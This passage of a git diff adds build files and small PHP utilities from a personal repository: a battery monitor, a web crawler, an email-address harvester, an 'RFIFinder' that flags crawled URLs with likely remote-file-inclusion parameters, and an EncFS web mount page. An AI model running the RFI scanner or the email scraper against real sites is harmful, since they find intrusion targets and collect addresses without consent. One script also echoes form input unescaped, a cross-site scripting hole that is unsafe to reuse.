+        <property name="dist.jar.resolved" location="${dist.jar}"/>
+        <echo>java -jar "${dist.jar.resolved}"</echo>
+    </target>
+    <target name="-post-jar">
+        <!-- Empty placeholder for easier customization. -->
+        <!-- You can override this target in the ../build.xml file. -->
+    </target>
+    <target name="jar" depends="init,compile,-pre-jar,-do-jar-with-manifest,-do-jar-without-manifest,-do-jar-without-mainclass,-do-jar-with-mainclass,-do-jar-with-libraries,-post-jar" description="Build JAR."/>
+    <!--
+    =================
+    EXECUTION SECTION
+    =================
+    -->
+    <target name="run" depends="init,compile" description="Run a main class.">
+        <bluejproject:java>
+            <customize>
+                <arg line="${application.args}"/>
+            </customize>
+        </bluejproject:java>
+    </target>
+    <target name="run-single" depends="init,compile-single">
+        <fail unless="run.class">Must select one file in the IDE or set run.class</fail>
+        <bluejproject:java classname="${run.class}"/>
+    </target>
+    <!--
+    =================
+    DEBUGGING SECTION
+    =================
+    -->
+    <target name="-debug-start-debugger" if="netbeans.home" depends="init">
+        <bluejproject:nbjpdastart name="${debug.class}"/>
+    </target>
+    <target name="-debug-start-debuggee" depends="init,compile">
+        <bluejproject:debug>
+            <customize>
+                <arg line="${application.args}"/>
+            </customize>
+        </bluejproject:debug>
+    </target>
+    <target name="debug" if="netbeans.home" depends="init,compile,-debug-start-debugger,-debug-start-debuggee" description="Debug project in IDE."/>
+    <target name="-debug-start-debugger-stepinto" if="netbeans.home" depends="init">
+        <bluejproject:nbjpdastart stopclassname="${main.class}"/>
+    </target>
+    <target name="debug-stepinto" if="netbeans.home" depends="init,compile,-debug-start-debugger-stepinto,-debug-start-debuggee"/>
+    <target name="-debug-start-debuggee-single" if="netbeans.home" depends="init,compile-single">
+        <fail unless="debug.class">Must select one file in the IDE or set debug.class</fail>
+        <bluejproject:debug classname="${debug.class}"/>
+    </target>
+    <target name="debug-single" if="netbeans.home" depends="init,compile-single,-debug-start-debugger,-debug-start-debuggee-single"/>
+    <target name="-pre-debug-fix" depends="init">
+        <fail unless="fix.includes">Must set fix.includes</fail>
+        <property name="javac.includes" value="${fix.includes}.java"/>
+    </target>
+    <target name="-do-debug-fix" if="netbeans.home" depends="init,-pre-debug-fix,compile-single">
+        <bluejproject:nbjpdareload/>
+    </target>
+    <target name="debug-fix" if="netbeans.home" depends="init,-pre-debug-fix,-do-debug-fix"/>
+    <!--
+    ===============
+    JAVADOC SECTION
+    ===============
+    -->
+    <target name="-javadoc-build" depends="init">
+        <mkdir dir="${dist.javadoc.dir}"/>
+        <javadoc destdir="${dist.javadoc.dir}" source="${javac.source}" notree="${javadoc.notree}" use="${javadoc.use}" nonavbar="${javadoc.nonavbar}" noindex="${javadoc.noindex}" splitindex="${javadoc.splitindex}" author="${javadoc.author}" version="${javadoc.version}" windowtitle="${javadoc.windowtitle}" private="${javadoc.private}" additionalparam="${javadoc.additionalparam}" failonerror="true" useexternalfile="true">
+            <classpath>
+                <path path="${javac.classpath}"/>
+                <fileset dir="${basedir}">
+                    <include name="+libs/*.jar"/>
+                    <include name="+libs/*.zip"/>
+                </fileset>
+                <path path="${bluej.libraries}"/>
+                <path path="${bluej.config.libraries}"/>
+            </classpath>
+            <sourcepath>
+                <pathelement location="${src.dir}"/>
+            </sourcepath>
+            <packageset dir="${src.dir}" includes="*/**"/>
+            <fileset dir="${src.dir}" includes="*.java"/>
+        </javadoc>
+    </target>
+    <target name="-javadoc-browse" if="netbeans.home" unless="no.javadoc.preview" depends="init,-javadoc-build">
+        <nbbrowse file="${dist.javadoc.dir}/index.html"/>
+    </target>
+    <target name="javadoc" depends="init,-javadoc-build,-javadoc-browse" description="Build Javadoc."/>
+    <!--
+    =========================
+    JUNIT COMPILATION SECTION
+    =========================
+    -->
+    <target name="-pre-pre-compile-test" if="have.tests" depends="init,compile">
+        <mkdir dir="${build.test.classes.dir}"/>
+    </target>
+    <target name="-pre-compile-test">
+        <!-- Empty placeholder for easier customization. -->
+        <!-- You can override this target in the ../build.xml file. -->
+    </target>
+    <target name="-do-compile-test" if="have.tests" depends="init,compile,-pre-pre-compile-test,-pre-compile-test">
+        <bluejproject:javac srcdir="${test.src.dir}" destdir="${build.test.classes.dir}" debug="true" classpath="${javac.test.classpath}"/>
+        <copy todir="${build.test.classes.dir}">
+            <fileset dir="${test.src.dir}" excludes="**/*.java"/>
+        </copy>
+    </target>
+    <target name="-post-compile-test">
+        <!-- Empty placeholder for easier customization. -->
+        <!-- You can override this target in the ../build.xml file. -->
+    </target>
+    <target name="compile-test" depends="init,compile,-pre-pre-compile-test,-pre-compile-test,-do-compile-test,-post-compile-test"/>
+    <target name="-pre-compile-test-single">
+        <!-- Empty placeholder for easier customization. -->
+        <!-- You can override this target in the ../build.xml file. -->
+    </target>
+    <target name="-do-compile-test-single" if="have.tests" depends="init,compile,-pre-pre-compile-test,-pre-compile-test-single">
+        <fail unless="javac.includes">Must select some files in the IDE or set javac.includes</fail>
+        <bluejproject:javac srcdir="${test.src.dir}" destdir="${build.test.classes.dir}" debug="true" classpath="${javac.test.classpath}">
+            <customize>
+                <patternset includes="${javac.includes}"/>
+            </customize>
+        </bluejproject:javac>
+        <copy todir="${build.test.classes.dir}">
+            <fileset dir="${test.src.dir}" excludes="**/*.java"/>
+        </copy>
+    </target>
+    <target name="-post-compile-test-single">
+        <!-- Empty placeholder for easier customization. -->
+        <!-- You can override this target in the ../build.xml file. -->
+    </target>
+    <target name="compile-test-single" depends="init,compile,-pre-pre-compile-test,-pre-compile-test-single,-do-compile-test-single,-post-compile-test-single"/>
+    <!--
+    =======================
+    JUNIT EXECUTION SECTION
+    =======================
+    -->
+    <target name="-pre-test-run" if="have.tests" depends="init">
+        <mkdir dir="${build.test.results.dir}"/>
+    </target>
+    <target name="-do-test-run" if="have.tests" depends="init,compile-test,-pre-test-run">
+        <bluejproject:junit/>
+    </target>
+    <target name="-post-test-run" if="have.tests" depends="init,compile-test,-pre-test-run,-do-test-run">
+        <fail if="tests.failed">Some tests failed; see details above.</fail>
+    </target>
+    <target name="test-report" if="have.tests" depends="init"/>
+    <target name="-test-browse" if="netbeans.home+have.tests" depends="init"/>
+    <target name="test" depends="init,compile-test,-pre-test-run,-do-test-run,test-report,-post-test-run,-test-browse" description="Run unit tests."/>
+    <target name="-pre-test-run-single" if="have.tests" depends="init">
+        <mkdir dir="${build.test.results.dir}"/>
+    </target>
+    <target name="-do-test-run-single" if="have.tests" depends="init,compile-test-single,-pre-test-run-single">
+        <fail unless="test.includes">Must select some files in the IDE or set test.includes</fail>
+        <bluejproject:junit includes="${test.includes}"/>
+    </target>
+    <target name="-post-test-run-single" if="have.tests" depends="init,compile-test-single,-pre-test-run-single,-do-test-run-single">
+        <fail if="tests.failed">Some tests failed; see details above.</fail>
+    </target>
+    <target name="test-single" depends="init,compile-test-single,-pre-test-run-single,-do-test-run-single,-post-test-run-single" description="Run single unit test."/>
+    <!--
+    =======================
+    JUNIT DEBUGGING SECTION
+    =======================
+    -->
+    <target name="-debug-start-debuggee-test" if="have.tests" depends="init,compile-test">
+        <fail unless="test.class">Must select one file in the IDE or set test.class</fail>
+        <bluejproject:debug classname="junit.textui.TestRunner" classpath="${debug.test.classpath}">
+            <customize>
+                <arg line="${test.class}"/>
+            </customize>
+        </bluejproject:debug>
+    </target>
+    <target name="-debug-start-debugger-test" if="netbeans.home+have.tests" depends="init,compile-test">
+        <bluejproject:nbjpdastart name="${test.class}" classpath="${debug.test.classpath}"/>
+    </target>
+    <target name="debug-test" depends="init,compile-test,-debug-start-debugger-test,-debug-start-debuggee-test"/>
+    <target name="-do-debug-fix-test" if="netbeans.home" depends="init,-pre-debug-fix,compile-test-single">
+        <bluejproject:nbjpdareload dir="${build.test.classes.dir}"/>
+    </target>
+    <target name="debug-fix-test" if="netbeans.home" depends="init,-pre-debug-fix,-do-debug-fix-test"/>
+    <!--
+    ===============
+    CLEANUP SECTION
+    ===============
+    -->
+    <target name="deps-clean" depends="init" unless="no.deps"/>
+    <target name="-do-clean" depends="init">
+        <delete>
+            <fileset dir="${build.dir}" includes="**/*.class"/>
+        </delete>
+        <delete dir="${dist.dir}"/>
+    </target>
+    <target name="-post-clean">
+        <!-- Empty placeholder for easier customization. -->
+        <!-- You can override this target in the ../build.xml file. -->
+    </target>
+    <target name="clean" depends="init,deps-clean,-do-clean,-post-clean" description="Clean build products."/>
+</project>
diff --git a/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.properties b/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.properties
new file mode 100644 (file)
index 0000000..99025bd
--- /dev/null
@@ -0,0 +1,6 @@
+application.args=
+
+## classpath entry that is composed from content of bluej.userlib.*.location properties in the user home's bluej.properties file..
+## rebuilt on every opening of the project in netbeans
+bluej.config.libraries=
+user.properties.file=/home/harvie/.netbeans/5.5bluej/build.properties
diff --git a/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.xml b/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.xml
new file mode 100644 (file)
index 0000000..c1f155a
--- /dev/null
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project-private xmlns="http://www.netbeans.org/ns/project-private/1">
+    <editor-bookmarks xmlns="http://www.netbeans.org/ns/editor-bookmarks/1"/>
+</project-private>
diff --git a/java/jCrossCrypt/src/crosscrypt/nbproject/project.properties b/java/jCrossCrypt/src/crosscrypt/nbproject/project.properties
new file mode 100644 (file)
index 0000000..f423c1c
--- /dev/null
@@ -0,0 +1,48 @@
+application.args=
+build.classes.dir=${build.dir}
+build.classes.excludes=**/*.java,**/*.form
+build.dir=${basedir}
+build.generated.dir=${build.dir}/generated
+build.sysclasspath=ignore
+build.test.classes.dir=${build.dir}
+build.test.results.dir=${build.dir}/test/results
+debug.classpath=\
+    ${run.classpath}
+debug.test.classpath=\
+    ${run.test.classpath}
+dist.dir=dist
+dist.jar=${dist.dir}/crosscrypt.jar
+dist.javadoc.dir=${build.dir}/doc
+jar.compress=false
+javac.compilerargs=
+javac.deprecation=false
+javac.source=1.5
+javac.target=1.5
+javac.classpath=\
+    ${libs.junit.classpath}
+javac.test.classpath=\
+    ${javac.classpath}
+javadoc.additionalparam=
+javadoc.author=false
+javadoc.encoding=
+javadoc.noindex=false
+javadoc.nonavbar=false
+javadoc.notree=false
+javadoc.private=false
+javadoc.splitindex=true
+javadoc.use=true
+javadoc.version=false
+javadoc.windowtitle=crosscrypt
+main.class=hlavokno
+manifest.file=manifest.mf
+meta.inf.dir=${src.dir}/META-INF
+platform.active=default_platform
+run.classpath=\
+    ${javac.classpath}:\
+    ${build.classes.dir}
+run.jvmargs=
+run.test.classpath=\
+    ${javac.test.classpath}:\
+    ${build.test.classes.dir}
+src.dir=${basedir}
+test.src.dir=${basedir}
diff --git a/java/jCrossCrypt/src/crosscrypt/nbproject/project.xml b/java/jCrossCrypt/src/crosscrypt/nbproject/project.xml
new file mode 100644 (file)
index 0000000..6cf00ca
--- /dev/null
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project xmlns="http://www.netbeans.org/ns/project/1">
+    <type>org.netbeans.bluej.bluejproject</type>
+    <configuration>
+        <data xmlns="http://www.netbeans.org/ns/bluej-project/2">
+            <name></name>
+            <minimum-ant-version>1.6.5</minimum-ant-version>
+            <source-roots>
+                <root id="src.dir"/>
+            </source-roots>
+            <test-roots>
+                <root id="test.src.dir"/>
+            </test-roots>
+        </data>
+    </configuration>
+</project>
diff --git a/php/batstat.php b/php/batstat.php
new file mode 100755 (executable)
index 0000000..3740827
--- /dev/null
@@ -0,0 +1,53 @@
+#!/usr/bin/php
+<?php
+$refresh = 1;
+$battery = "/proc/acpi/battery/BAT1";
+$critical = "echo Shutting down... - Low Battery";
+$warning = "echo Warning!!! - Low Battery";
+
+///CHECK_BATT
+function check_battery($bat = "/proc/acpi/battery/BAT1", $critical = "echo Shutting down... - Low Battery", $warning = "echo Warning!!! - Low Battery") {
+       $info = fopen($bat.'/info', 'r');
+       while(!feof($info)) {
+               $line = fgets($info);
+               if(eregi('design capacity warning', $line)) {
+                       $line = explode(' ', $line);
+                       //print_r($line);
+                       $warncap = $line[3];
+               }
+               if(eregi('design capacity low', $line)) {
+                       $line = explode(' ', $line);
+                       //print_r($line);
+                       $lowcap = $line[7];
+               }
+       }
+       fclose($info);
+       
+       $dischg = 'Chg';
+       $state = fopen($bat.'/state', 'r');
+       while(!feof($state)) {
+               $line = fgets($state);
+               if(eregi('discharging', $line)) {
+                       $dischg = 'Dischg';
+               }
+               if(eregi('remaining capacity', $line)) {
+                       $line = explode(' ', $line);
+                       //print_r($line);
+                       $remaincap = $line[7];
+               }
+       }
+       fclose($state);
+       
+       echo("Remaining capacity $remaincap mAh (Critical: $lowcap mAh; Warning: $warncap mAh) $dischg        \r");
+       if($dischg == 'Dischg') {
+               if($remaincap < $lowcap) { echo("\n"); system($critical); }
+               if($remaincap < $warncap) { echo("\n"); system($warning); }
+       }
+}
+
+///LOOP
+echo("Watching battery $battery\n");
+while(1) {
+       check_battery($battery, $critical, $warning);
+       sleep($refresh);
+}
\ No newline at end of file
diff --git a/php/crawler/old/crawler.php b/php/crawler/old/crawler.php
new file mode 100644 (file)
index 0000000..da185be
--- /dev/null
@@ -0,0 +1,138 @@
+#!/usr/bin/php
+<?php
+//HSp33der Web Crawler 5.1
+//<-Harvie 2oo7
+/*
+ *This thing crawls the web and printing found URLs to STDOUT.
+ *New technology!!!
+ *Use it well...
+ */
+
+//Basic settings
+$crawl_file = 'crawl.txt';
+$lastc_file = 'last.txt';
+$nextc_file = 'next.txt';
+$seed_url   = 'http://jyxo.cz/s?q=%23linux+format%3Ahtml&d=cz&cnt=3&o=noacc,nostem';
+$maximum_file_size = 500000; //Maximum filesize of downloaded page in bytes
+//$debug = true;
+//Filter settings
+$eregi_url_blacklist = array(
+       '(W3\.org|W3C)', //Hell knows...
+       '(shop|xxx|porn|lesbian|hot)', //Commercial sites
+       '(google|209.85.135.104|amazon.com|seznam.cz|centrum.cz|atlas.cz|zoznam.sk|quick.cz)', //Big sites
+       '.\.(css|ico|gif|jpg|png|bmp|cgi)', //Misc. webpage content
+       '.\.(avi|mpg|mpeg|mov|wmv|wm|mp3|ogg|wma)', //Multimedia files
+       '.\.(pdf|swf|flv|cfm)', //Other text files
+       '.\.(exe|zip|rar|gz|bz|bz2|tar)' //Big and binary files
+);
+
+//Functions
+function in_file($string, $file) { //Like idn_array(), but with file
+       if($GLOBALS['debug']) echo("in_file\n");
+       $in = fopen($GLOBALS['crawl_file'], 'r');
+       $string = trim($string);
+       $len = strlen($string);
+       while(!feof($in)) {
+               $line = trim(fgets($in));
+               //if( ($len == strlen($line)) && (strncasecmp($string, $line, $len) == 0) ) return(1);
+               if( ($len == strlen($line)) && (eregi($string, $line)) ) return(1);
+       }
+       fclose($in);
+       return(0);
+}
+
+function file_size_check($file, $max, $block = 250) { //If $file is bigger than $max, returns 0 else 1
+       if($GLOBALS['debug']) echo("fscheck\n");
+       if($GLOBALS['debug']) echo("*FileSizeCheck!: $file\n");
+       $fp = @fopen($file, 'r');
+       if(!$fp) {
+               if($GLOBALS['debug']) echo("**Can't open!!!: $file\n");
+               return(0);
+       }
+       $dl = 0;
+       while(!feof($fp)) {
+               $dl = $dl+strlen(fgets($fp, $block)); //echo("$dl\n"); //Debug
+               if($dl > $max) {
+                       fclose($fp);
+                       if($GLOBALS['debug']) echo("**Too much big file!!!: $file\n");
+                       return(0);
+               }
+       }
+       @fclose($fp);
+       return(1);
+}
+function check_crawl_url($url) { //URL Filter for crawl_url function
+       if($GLOBALS['debug']) echo("check_crawl_url\n");
+       foreach($GLOBALS['eregi_url_blacklist'] as $black_url) {
+               if(eregi($black_url, $url)) return(0);
+       }
+       
+       @fclose($GLOBALS['total']);
+       if(in_file($url, $GLOBALS['crawl_file'])) return(0);
+       $GLOBALS['total'] = fopen($GLOBALS['crawl_file'], 'a');
+       
+       if(!file_size_check($url, $GLOBALS['maximum_file_size'])) return(0);
+       return(1); //1 == disable whitelisting, 0 == enable whitelisting
+}
+
+function save_crawled_url($url) { //Saves URL to database, etc...
+       if($GLOBALS['debug']) echo("save_crawled_url\n");
+       $GLOBALS['total_urls']++;
+       $url = trim($url);
+       echo($GLOBALS['total_urls'].':');
+       echo($url."\n");
+       @fwrite($GLOBALS['total'], $url."\n");
+       @fwrite($GLOBALS['next'], $url."\n");
+}
+
+function crawl_url_once($url) { //Main crawling function
+       if($GLOBALS['debug']) echo("crawl_url_once\n");
+       save_crawled_url($url);
+       $in = @file($url); if(!$in || !is_array($in)) return(1);
+       foreach($in as $line) {
+               $line = spliti('href="http://', $line);
+               if(sizeof($line) > 1) {
+                       array_shift($line); //print_r($line); //Debug
+                       foreach($line as $nurl) {
+                               $nurl = spliti('(\?|#|\*|")', $nurl);
+                               $nurl = 'http://'.trim(htmlspecialchars_decode($nurl[0])); //echo($nurl."\n"); //Debug
+                               if(check_crawl_url($nurl)) save_crawled_url($nurl);
+                       }
+               }
+       }
+}
+
+
+
+
+//CODE
+if(@filesize($nextc_file) < 8) {
+  $next = fopen($nextc_file, 'a');
+  fwrite($next, $seed_url."\n");
+  fclose($next);
+}
+if(is_file($nextc_file)) {
+  @unlink($lastc_file);
+  copy($nextc_file, $lastc_file);
+  unlink($nextc_file);
+}
+
+$total_urls = 0;
+while(1) {
+  if($debug) echo("\n-LOOP\n");
+  $last = fopen($lastc_file, 'r');
+  $next = fopen($nextc_file, 'a');
+  $total = fopen($crawl_file, 'a');
+  while(!feof($last)) {
+    $url = trim(fgets($last));
+    crawl_url_once($url);
+  }
+  @fclose($crawl_file);
+  @fclose($lastc_file);
+  @fclose($nextc_file);
+  unlink($lastc_file);
+  copy($nextc_file, $lastc_file);
+  unlink($nextc_file);
+}
+
+
diff --git a/php/crawler/old/emails.php b/php/crawler/old/emails.php
new file mode 100755 (executable)
index 0000000..5437165
--- /dev/null
@@ -0,0 +1,70 @@
+#!/usr/bin/php
+<?php
+// PHP Version => 5.2.0-8+etch7 (ihrisko.org)
+
+
+
+//phpinfo(); die;
+
+ini_set('default_socket_timeout',1); //How long wait for a webserver? (seconds)
+set_time_limit(0); //How long run? (seconds)
+//$url='http://ad.doubleclick.net/click';
+$url='http://w.moreover.com/';
+$max_size = 10000;
+$i = 0;
+while(1) {
+file_get_contents($url, false, null, 0, $max_size);
+//preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\ ?\.a-z0-9\/]*)',htmlspecialchars_decode(@file_get_contents($url, false, null, 0, $max_size)), $new_urls);
+echo "#";
+$new_urls = $new_urls[0];
+$i++;
+print_r($new_urls); echo($i);
+}
+die;
+
+$stdin = fopen('php://stdin','r');
+while(!feof($stdin)) {
+       $url = fgets($stdin);
+       preg_match_all("/[-a-z0-9\._]+@[-a-z0-9\._]+\.[a-z]{2,4}/", @file_get_contents($url), $emails); $emails = $emails[0];
+       foreach($emails as $email) {
+               echo($email."\n");
+       }
+}
+
+
+die;
+
+?>
+Hi everybody!
+I am trying to write WebCrawler/Spider (as school project, and -of course- I am trying to be more wealthy than google ;o)
+
+So... I have big/small problem:
+I am using file_get_contents() (i've tryed fopen() too...).
+Crawler works 100% great, but sometimes it freezing. I have tryed to trace what function freezes, and i found it, it's file_get_contents()...
+
+So, i googled and found default_socket_timeout setting, i set it to 1, but sometimes its freezes and never get up again.
+
+I've done this example, so you can see, that it freezes after few iterations. I have supplyed URL, that causes freeze of my crawler (im not sure why...):
+
+#!/usr/bin/php
+< ?php
+
+ini_set('default_socket_timeout',1);
+set_time_limit(0);
+//$url='http://ad.doubleclick.net/click';
+$url='http://w.moreover.com/';
+while(1) {
+    @file_get_contents($url, false, null, 0, 10000);
+    echo "#";
+}
+
+?>
+
+Of course, if somebody want be better than google, he have to have very good crawler. So I need very solid code, that can run and crawl a days without crash (like this one). Yeah, it's true, that this worked 1 or 2 hours before it crashes, or i stoped it, but the file_get_contents() doesn't work like i need.
+
+If you are interested to crawling, you can write me to YouSeekMe: 283//782//978 ;D
+
+And there are few statistics from my last session:
++5431 URLs; 19292 Downloaded; UpTime: 21.5 mins; Buffered: 30 URLs; History: 1000 URLs; Speed: 4.22 URLs/s, 14.98 Downloads/s
+
+THX4AnyHelp ;o)
\ No newline at end of file
diff --git a/php/crawler/old/rfind.php b/php/crawler/old/rfind.php
new file mode 100755 (executable)
index 0000000..91d1e19
--- /dev/null
@@ -0,0 +1,34 @@
+#!/usr/bin/php
+<?php
+//RFIFinder 0.1 (filter for crawlers)
+//<-Harvie 2oo7
+/*
+ *This thing will find urls with expected RFI hole in pages specified by STDIN lines.
+ *Use it well...
+ */
+ function is_rfi_positive($url) {
+       $rfi_regexp = '(\?|&)(page|url|include|readfile|require|inc)=.*\.(html|htm|php|php.|txt)';
+       return eregi($rfi_regexp, $url);
+ }
+ $stdin = fopen('php://stdin', 'r');
+ while(!feof($stdin)) {
+       $url = trim(fgets($stdin)); //echo($url); //Debug 
+       if(is_rfi_positive($url)) echo("$url\n");
+       $in = @file($url); if(!$in || !is_array($in)) continue;
+       foreach($in as $line) {
+               $line = spliti('href="http://', $line);
+               if(sizeof($line) > 1) {
+                       array_shift($line); //print_r($line); //Debug
+                       foreach($line as $nurl) {
+                               //echo("#"); //debug
+                               $nurl = spliti('"', $nurl);
+                               $nurl = 'http://'.trim(htmlspecialchars_decode($nurl[0])); //echo($nurl."\n"); //Debug
+                               $test = @fopen($nurl, 'r');
+                               if(is_rfi_positive($nurl) && $test) echo("$nurl\n");
+                       }
+               }
+       }
+}
+
diff --git a/php/encfs/a/.encfs6.xml b/php/encfs/a/.encfs6.xml
new file mode 100755 (executable)
index 0000000..1d18cf5
--- /dev/null
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
+<!DOCTYPE boost_serialization>
+<boost_serialization signature="serialization::archive" version="4">
+<config class_id="0" tracking_level="1" version="20080813" object_id="_0">
+       <creator>EncFS 1.4.2</creator>
+       <cipherAlg class_id="1" tracking_level="0" version="0">
+               <name>ssl/aes</name>
+               <major>2</major>
+               <minor>1</minor>
+       </cipherAlg>
+       <nameAlg>
+               <name>nameio/block</name>
+               <major>3</major>
+               <minor>0</minor>
+       </nameAlg>
+       <keySize>256</keySize>
+       <blockSize>1024</blockSize>
+       <uniqueIV>1</uniqueIV>
+       <chainedNameIV>1</chainedNameIV>
+       <externalIVChaining>1</externalIVChaining>
+       <blockMACBytes>8</blockMACBytes>
+       <blockMACRandBytes>0</blockMACRandBytes>
+       <allowHoles>0</allowHoles>
+       <encodedKeySize>52</encodedKeySize>
+       <encodedKeyData>
+ANCcbQw2raDid+fCN2xG3usT/rdZidYGEVZGLn5Ip1VfCPuiu19ikYQQewiFaNGDifgJis
+       </encodedKeyData>
+</config>
+</boost_serialization>
diff --git a/php/encfs/encfs.php b/php/encfs/encfs.php
new file mode 100755 (executable)
index 0000000..8852893
--- /dev/null
@@ -0,0 +1,53 @@
+<?php
+require_once('./php-encfs.php');
+
+$encrypted = '/mnt/data1/domains/kyberia.cz/encfs/a';          //encfs encrypted data
+$plaintext = '/mnt/data1/domains/kyberia.cz/encfs/b';          //plaintext mountpoint
+$umountpasswd = '';                    //password for unmounting (can't be same as mounting password)
+$encfsargs = '--public';               //arguments passed to encfs
+
+?>
+<h1><a href="?">EncFS Web Interface</a></h1>
+<?php echo("encfs '<b>$encrypted</b>' '$plaintext' $encfsargs<br /><br />"); ?>
+
+<style>/*<!--*/
+input {
+       width:200px;
+}
+/*-->*/</style>
+
+<form action="?" method="POST">
+       <input type="submit" value="MOUNT (DECRYPT)" />
+       <input type="password" name="mnt" value="" />
+</form>
+<form action="?" method="POST">
+       <input type="submit" value="UNMOUNT (ENCRYPT)" />
+       <input type="password" name="umnt" value="" />
+</form>
+Brougt to you by <a href="http://blog.harvie.cz/">Harvie</a> 2oo9!
+
+<br /><pre>
+<?php
+
+if(isset($_POST['mnt']) && isset($_POST['umnt']))
+       die('Error: Cannot do both mount and umount!');
+
+if(isset($_POST['mnt'])) {
+       if($_POST['mnt'] == $umountpasswd)
+               die('Error: It is VERY dangerous to have same mount nad unmount password!!! Change it!');
+       if(trim($_POST['mnt']) == '')
+               die('Error: Mount password cannot be empty!!! Change it!');
+
+       encfs_mount($encrypted, $plaintext, $_POST['mnt'], $encfsargs);
+}
+
+if(isset($_POST['umnt'])) {
+       if($_POST['umnt'] == $umountpasswd) {
+               encfs_unmount($plaintext);
+       } else {
+               echo('Error: Invalid unmount password. You can change it in .php file.');
+       }
+}
+
+?>
+</pre>
diff --git a/php/encfs/index.html b/php/encfs/index.html
new file mode 100755 (executable)
index 0000000..eeed575
--- /dev/null
@@ -0,0 +1 @@
+bravo! podarilo se pripojit sifrovany oddil.
diff --git a/php/encfs/php-encfs.php b/php/encfs/php-encfs.php
new file mode 100755 (executable)
index 0000000..fb15064
--- /dev/null
@@ -0,0 +1,32 @@
+<?php
+/*
+       Harvie 2oo9 - http://blog.harvie.cz/
+
+       This simple script allows you to encrypt you webpages/etc.
+       using EncFS (you need to have EncFS installed of course).
+
+       You need write permissions to mountpoint for www server
+       and maybe add www server's user to the fuse group:
+
+       gpasswd fuse -a www-data
+       or
+       gpasswd fuse -a http
+
+       If you want this script to mount EncFS to be accessible by
+       other users, you can add user_allow_other to /etc/fuse.conf
+*/
+
+if(trim($_SERVER['HTTPS']) == '') {
+       die('<h1>Error: Cannot use EncFS without TLS!</h1>Use https:// instead of http://');
+}
+
+function encfs_mount($what, $where, $password, $arguments='') {
+       system('/bin/echo '.escapeshellarg($password).' | /usr/bin/encfs -S '.escapeshellarg($what).' '.escapeshellarg($where)." $arguments".' 2>&1');
+       flush();
+}
+
+function encfs_unmount($where) {
+       system('/usr/bin/fusermount -zu '.escapeshellarg($where).' 2>&1');
+       flush();
+}
+
diff --git a/php/evolutia.php b/php/evolutia.php
new file mode 100755 (executable)
index 0000000..ec43b51
--- /dev/null
@@ -0,0 +1,95 @@
+<h1>ASIIArt Evolution Matrix</h1>
+<?php
+
+$aart='';
+$width=20;
+$height=10;
+$childs=14;
+$chars='.*+oO ';
+$ratio=9; //probability 1/ratio
+
+if(isset($_POST['aart']))      $aart=$_POST['aart'];
+if(isset($_POST['width']))      $width=$_POST['width'];
+if(isset($_POST['height']))     $height=$_POST['height'];
+if(isset($_POST['childs']))     $childs=$_POST['childs'];
+if(isset($_POST['chars']))      $chars=$_POST['chars'];
+if(isset($_POST['ratio']))      $ratio=$_POST['ratio'];
+
+function mkchild($text, &$chars, $ratio) {
+       if($text == '') {
+               for($i=0;$i<$GLOBALS['height'];$i++) {
+                       for($j=0;$j<$GLOBALS['width'];$j++) {
+                               echo($chars[rand(0,strlen($chars)-1)]);
+                       }
+                       echo("\n");
+               }
+       } else {
+               if(!rand(0,$GLOBALS['childs']*0.7)) {
+                       for($i=0;$i<strlen($chars);$i++) {
+                               $c=$chars[rand(0,strlen($chars)-1)];
+                               $text=str_replace($chars[rand(0,strlen($chars)-1)], $c, $text);
+                       }
+               }
+
+               if(!rand(0,$GLOBALS['childs']*0.4)) {
+                       $c=''; $d=0;
+                       for($i=0;$i<strlen($chars);$i++) {
+                               if(substr_count($text, $chars[$i]) > $d) {
+                                       $c = $chars[$i]; $d = substr_count($text, $chars[$i]);
+                               }
+                       }
+                       $text=str_replace($chars[rand(0,strlen($chars)-1)], $c, $text);
+               }
+
+               for($i=0;$i<strlen($text);$i++){
+                       if(!rand(0,$ratio) && $text[$i]!="\n" && $text[$i]!="\r") {
+                               $text[$i]=$chars[rand(0,strlen($chars)-1)];
+                       }
+               }
+               echo($text);
+       }
+}
+
+srand(time(0));
+?>
+       <form action="?" method="POST" style="display: inline;">
+               <textarea name="aart" cols="<?=$width?>" rows="<?=$height?>" style="float: left; display: inline;"><?php echo($aart);   ?></textarea><br />
+               <input type="hidden" name="width" value="<?=$width ?>">
+               <input type="hidden" name="height" value="<?=$height ?>">
+               Childs <input type="text" name="childs" value="<?=$childs ?>">
+               Charset <input type="text" name="chars" value="<?=$chars ?>">
+               Replace 1/<input type="text" name="ratio" value="<?=$ratio ?>">
+               <input type="submit" value="SET">
+       </form>
+       <br /><br />
+       <form action="?" method="POST" style="float: left; display: inline;">
+               Width <input type="text" name="width" value="<?=$width ?>">
+               Height <input type="text" name="height" value="<?=$height ?>">
+               <input type="hidden" name="childs" value="<?=$childs ?>">
+               <input type="hidden" name="chars" value="<?=$chars ?>">
+               <input type="hidden" name="ratio" value="<?=$ratio ?>">
+               <input type="submit" value="RESET">
+               <br /><br />
+               <a href="https://kyberia.sk/id/4339876/">Info...</a>
+       </form>
+       <form action="?" method="POST" style="float: left; display: inline;">
+               /<input type="submit" value="RESET SETTINGS">
+       </form>
+
+       <hr style="clear: both;"/>
+<?php
+for($i=0;$i<$childs;$i++) {
+       ?>
+       <form action="?" method="POST" style="float: left; display: inline;">
+               <textarea name="aart" cols="<?=$width?>" rows="<?=$height?>"><?php mkchild($aart, $chars, $ratio); ?></textarea><br />
+               <input type="hidden" name="width" value="<?=$width ?>">
+               <input type="hidden" name="height" value="<?=$height ?>">
+               <input type="hidden" name="childs" value="<?=$childs ?>">
+               <input type="hidden" name="chars" value="<?=$chars ?>">
+               <input type="hidden" name="ratio" value="<?=$ratio ?>">
+               <input type="submit" value="<?=$i?>">
+       </form>
+       <?php
+}
+
+
diff --git a/php/frekvencni_analyza/analyze_language.php b/php/frekvencni_analyza/analyze_language.php
new file mode 100755 (executable)
index 0000000..12b4079
--- /dev/null
@@ -0,0 +1,75 @@
+#!/usr/bin/php
+<?php
+//Frequency analysis 0.2
+//Harvie 2oo7
+/*
+ * Use this to crack monoalphabetic ciphers (vigenere,...)
